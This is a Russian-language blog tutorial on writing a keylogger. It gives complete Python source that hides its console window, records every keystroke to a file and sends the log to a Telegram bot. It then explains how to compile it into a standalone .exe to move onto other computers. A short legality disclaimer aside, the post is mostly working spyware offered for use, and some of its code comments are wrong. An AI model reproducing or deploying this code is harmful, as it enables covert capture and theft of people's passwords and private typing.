May 21, 2023

Пишем свой кейлоггер

Приветствую всех! В этой статье мы рассмотрим, как написать свой собственный кейлоггер. Если вы не знакомы с этим термином, не волнуйтесь, мы расскажем вам все подробности.

Что такое кейлоггер?

Кейлоггер - это программное обеспечение, которое записывает и сохраняет все нажатия клавиш на компьютере или другом устройстве. Он может быть использован в различных целях, как положительных, так и негативных. Кейлоггеры часто применяются для отслеживания активности пользователей, контроля за детьми, проведения аудита безопасности и в других ситуациях, где требуется получить информацию о нажатиях клавиш.

Работа кейлоггера

Давайте рассмотрим пример кода кейлоггера, написанного на Python, и разберем, как он работает.

from pynput.keyboard import Key, Listener
import win32api
import win32gui
import win32console
from datetime import datetime

window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)

# создаем объект файла для записи
with open('keys.txt', 'at', encoding='utf-8') as f:
    def key_pressed(key):
        # убираем кавычки в выводе
        k = str(key).replace("'", '')

        # заменяем непонятный вывод пробела на символ переноса строки
        if key == Key.space:
            k = ''.join(('\n', datetime.utcnow().strftime('%d %m %Y %H:%M'), '\n'))

        # мы не хотим видеть в файле всякие непонятные клавиши типа контрола, бекспейсов и т.д.
        if k.find('Key.') == -1:
            try:
                f.write(k)
                f.flush()
            except Exception as e:
                print(f"Ошибка записи в файл: {e}")

    # создаем объект Listener с параметром suppress=True, чтобы не подавлять исключения
    with Listener(on_press=key_pressed, suppress=True) as listener:
        listener.join()

Код выше использует библиотеку pynput для отслеживания нажатий клавиш. Он также использует некоторые модули из win32api, win32gui и win32console для скрытия окна консоли.

Когда программа запускается, она создает файл keys.txt для записи полученных данных. Затем она создает функцию key_pressed, которая вызывается каждый раз, когда нажимается клавиша. В этой функции происходит обработка нажатой клавиши.

Например, если нажата клавиша пробела, в коде мы заменяем вывод пробела на символ переноса строки. Также мы проверяем, что нажатая клавиша не является специальной клавишей, такой как Ctrl или Backspace, чтобы избежать записи ненужных символов.

Когда нажатая клавиша проходит проверки, мы записываем ее в файл keys.txt. Используем try-except блок для обработки возможных ошибок записи. После записи каждой клавиши мы принудительно сбрасываем буфер записи с помощью f.flush(), чтобы убедиться, что данные сохранены.

Далее, мы создаем объект Listener, который слушает нажатия клавиш и вызывает функцию key_pressed при каждом нажатии. Параметр suppress=True позволяет игнорировать исключения, возникающие при нажатии специальных клавиш, чтобы программа продолжала работать.

Отправка файла в Telegram

Кроме записи нажатий клавиш, мы можем добавить функциональность отправки файла keys.txt в Telegram с использованием библиотеки aiogram. Вот код, который выполняет эту задачу:

import aiogram
import asyncio

# функция для отправки файла в Telegram
async def send_file():
    bot_token = 'YOUR_BOT_TOKEN'
    chat_id = 'YOUR_CHAT_ID'

    bot = aiogram.Bot(token=bot_token)
    await bot.send_document(chat_id, open('keys.txt', 'rb'))

# запуск цикла асинхронного выполнения для отправки файла в Telegram
async def main():
    await send_file()
    await asyncio.sleep(1)

loop = asyncio.get_event_loop()
loop.run_until_complete(main())

Выше мы определяем функцию send_file, которая использует токен вашего Telegram-бота и идентификатор чата, чтобы отправить файл keys.txt в заданный чат. Затем мы создаем функцию main, которая вызывает send_file и затем ожидает 1 секунду с помощью asyncio.sleep.

Затем мы получаем цикл событий event loop с помощью asyncio.get_event_loop и запускаем выполнение функции main с помощью loop.run_until_complete(main()).

Начни свое развитие сегодня!

Я бы хотел призвать вас начать изучение программирования. Изучение языков программирования может открыть для вас множество возможностей в сфере информационных технологий. Он может помочь вам создавать свои собственные программы, веб-сайты, игры и многое другое.

Если вы заинтересованы в изучении программирования, я реккомендую обратить внимание на онлайн-школу по IT профессиям "Skillfactory". Они предлагают качественные образовательные курсы по различным языкам программирования, включая Python, Java, JavaScript и другие.

Вы можете посетить их веб-сайт по следующей ссылке: Онлайн-курсы по IT профессиям Skillfactory. Там вы найдете информацию о доступных курсах и программе обучения.

Изучение программирования может стать вашим первым шагом к увлекательному и перспективному миру разработки программного обеспечения. Не бойтесь начать и продолжать развиваться в этой области. Удачи!

Готовый код

Вот полный код нашего кейлоггера с интеграцией отправки файла в Telegram:

from pynput.keyboard import Key, Listener
import win32api
import win32gui
import win32console
from datetime import datetime
import aiogram
import asyncio

window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)

# создаем объект файла для записи
with open('keys.txt', 'at', encoding='utf-8') as f:
    def key_pressed(key):
        # убираем кавычки в выводе
        k = str(key).replace("'", '')

        # заменяем непонятный вывод пробела на символ переноса строки
        if key == Key.space:
            k = ''.join(('\n', datetime.utcnow().strftime('%d %m %Y %H:%M'), '\n'))

        # мы не хотим видеть в файле всякие непонятные клавиши типа контрола, бекспейсов и т.д.
        if k.find('Key.') == -1:
            try:
                f.write(k)
                f.flush()
            except Exception as e:
                print(f"Ошибка записи в файл: {e}")

    # создаем объект Listener с параметром suppress=True, чтобы не подавлять исключения
    with Listener(on_press=key_pressed, suppress=True) as listener:
        listener.join()

# отправка файла в Telegram
async def send_file():
    bot_token = 'YOUR_BOT_TOKEN'
    chat_id = 'YOUR_CHAT_ID'

    bot = aiogram.Bot(token=bot_token)
    await bot.send_document(chat_id, open('keys.txt', 'rb'))

# запуск цикла асинхронного выполнения для отправки файла в Telegram
async def main():
    await send_file()
    await asyncio.sleep(1)

loop = asyncio.get_event_loop()
loop.run_until_complete(main())

Теперь у вас есть полный код кейлоггера с интеграцией отправки файла в Telegram. Вы можете запустить его на своем компьютере и увидеть, как он работает. Обратите внимание, что вам нужно будет заменить 'YOUR_BOT_TOKEN'и 'YOUR_CHAT_ID' на соответствующие значения для вашего Telegram-бота и чата, в котором хотите отправить файл.

Убедитесь, что у вас установлены все необходимые зависимости, такие как pynput, win32api, win32gui, win32console и aiogram. Вы можете установить их с помощью менеджера пакетов Python, такого как pip.

Не забудьте также сохранить файл с расширением .py и запустить его с помощью интерпретатора Python. При запуске кейлоггер начнет записывать нажатия клавиш в файл keys.txt, а затем отправит этот файл в Telegram.

Важно отметить, что написание и использование кейлоггера может быть незаконным или нарушать чьи-то права на конфиденциальность. Убедитесь, что вы понимаете и соблюдаете применимые законы и правила, прежде чем использовать подобный инструмент.

Надеюсь, этот пост поможет вам понять, как написать свой кейлоггер и использовать его вместе с интеграцией в Telegram. Если у вас есть вопросы или требуется дополнительная помощь, не стесняйтесь задавать их.

Проблема с запуском кода на устройствах без Python

Одной из проблем, с которыми вы можете столкнуться при запуске кода кейлоггера, является то, что он требует наличия интерпретатора Python на устройстве. Это означает, что вы не сможете запустить код на устройствах, где Python не установлен или где у вас нет прав на установку программного обеспечения.

Такая ограниченность может быть непрактичной, если вы хотите использовать кейлоггер на разных компьютерах или устройствах, где у вас нет возможности установить Python. Однако, есть решение этой проблемы - можно использовать средства компиляции Python-кода в исполняемый файл, чтобы создать автономное приложение, которое можно запустить на любом устройстве без необходимости установки Python.

Решение: Компиляция кода в исполняемый файл

Чтобы скомпилировать код на Python в исполняемый файл формата .exe, который может работать на устройствах без установленного интерпретатора Python, можно использовать инструмент под названием PyInstaller. Вот пошаговый гайд, как выполнить эту операцию:

Шаг 1: Установка PyInstaller

  • Откройте командную строку (на Windows можно нажать Win+R, ввести "cmd" и нажать Enter).
  • Установите PyInstaller, выполнив следующую команду:
pip install pyinstaller

Шаг 2: Подготовка кода

  • Создайте отдельную папку, в которой будут содержаться все необходимые файлы для компиляции.
  • Скопируйте ваш улучшенный код в эту папку.
  • Убедитесь, что у вас есть файл keys.txt в этой папке. Если его нет, создайте пустой файл с таким именем.

Шаг 3: Компиляция кода

  • Откройте командную строку и перейдите в папку, в которой находится ваш код и файл keys.txt.
  • Выполните следующую команду, чтобы скомпилировать код:
pyinstaller --onefile имя_файла.py

Замените "имя_файла.py" на фактическое имя вашего файла с кодом. Например, если ваш файл называется main.py, команда будет выглядеть так:

pyinstaller --onefile main.py
  • PyInstaller создаст папку dist в текущем каталоге и поместит в нее скомпилированный исполняемый файл.

Шаг 4: Перенос исполняемого файла

  • Перейдите в папку dist, созданную PyInstaller.
  • В этой папке вы найдете скомпилированный исполняемый файл с расширением .exe. Этот файл можно скопировать и перенести на любое устройство без установленного Python.

После завершения этих шагов, вы получите исполняемый файл, который можно запустить на устройствах без установленного Python, и ваша программа будет работать независимо от наличия Python на этих устройствах.

Заключение

В этой статье мы рассмотрели, что такое кейлоггер и для чего его используют. Мы представили код кейлоггера на Python, который записывает клавиатурные нажатия и сохраняет их в файл. Затем мы рассмотрели проблему запуска кода на устройствах без Python и предложили решение этой проблемы через компиляцию кода в исполняемый файл.

Теперь вы можете создать свой собственный кейлоггер и использовать его согласно вашим потребностям и в соответствии с законодательством и этикой. Не забывайте о важности соблюдения приватности и безопасности при использовании кейлоггера.